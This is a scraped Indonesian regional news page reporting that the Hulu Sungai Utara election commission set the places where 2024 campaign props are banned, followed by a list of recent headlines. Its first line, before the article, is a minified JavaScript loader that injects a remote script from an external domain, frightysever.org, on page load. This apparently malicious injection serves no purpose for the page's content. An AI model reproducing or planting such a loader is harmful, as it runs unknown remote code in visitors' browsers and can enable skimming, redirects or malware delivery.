(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Dibahas Bersama, Ini Titik Lokasi Terlarang Alat Peraga Kampanye di HSU


KANALKALIMANTAN.COM, AMUNTAI – MlTahapan kampanye Pemilihan Umum (Pemilu) 2024 terus berjalan, Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai tentukan titik lokasi pemasangan Alat Peraga Kampanye (APK) yang sesuai dengan peraturan Perundang-undangan.

Penentuan itu disampaikan KPU HSU dalam rapat koordinasi bersama Pemerintah Kabupaten HSU, Forkopimda dan stakeholder terkait lainnya, di aula Mess Negara Dipa, Kamis (9/11/2023).

“Sesuai dengan peraturan Perundang-undangan dalam menyusun dan membuat surat keputusan nantinya, saya berharap hasil dari rapat koordinasi ini dapat menyamakan persepsi dan pemahaman di antara KPU, Bawaslu, Forkopimda dan stakeholder terkait dalam pemasangan APK yang sesuai pada tempatnya,” kata Pelaksana Harian (Plh) Ketua KPU HSU Muhammad Noor.

Baca juga: Lima Gubernur Bahas IKN, Samakan Persepsi Konektivitas Infrastruktur Terintegrasi

Sementara itu, Ketua Divisi Sosialisasi Pendidikan Pemilih, Partisipasi Masyarakat, dan SDM, KPU HSU, Emmy Najmiati, menyebutkan bahwa dari hasil rakor KPU meminta saran dan masukan dari seluruh pihak terkait dalam menentukan titik APK.

“Penentuan titik APK ini nantinya akan berimbas pada jalannya kampanye, sehingga kampanye itu dapat berjalan dengan kondusif, tidak ada bahan atau APK yang dipasang pada tempat yang bukan seharusnya,” tambahnya.

Baca juga: Jalan Banjarbaru-Batulicin Sambung ke Balangan Konektivitas Menuju IKN

Emmy mengimbau kepada masyarakat agar ikut berpartisipasi dalam tahapan kampanye dan jangan sampai keluar dari aturan yang seharusnya.

Berdasarkan ketentuan, tempat atau lokasi pemasangan APK yang tidak diperbolehkan antara lain adalah tempat ibadah termasuk halamannya, rumah sakit atau tempat pelayanan kesehatan, gedung halaman kantor milik pemerintah, lembaga pendidikan (gedung dan sekolah).

Baca juga: Unit Reskrim Polsek Pengaron Amankan Pelaku Pencurian Motor di Mangkauk, Begini Kronologinya

Beberapa fasilitas publik terlarang APK di Kabupaten HSU seperti jembatan yang ada di Jalan A Yani, Jalan Norman Umar, Jalan Abdul Aziz dan Jalan Basuki Rahmat (tempat wilayah Pemda), rambu-rambu lalu lintas, tiang listrik penerangan jalan, pohon- pohon, pos-pos ronda, pekuburan, serta fasilitas umum dan fasilitas sosial.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

5 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

6 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

8 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

10 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

24 jam ago

This website uses cookies.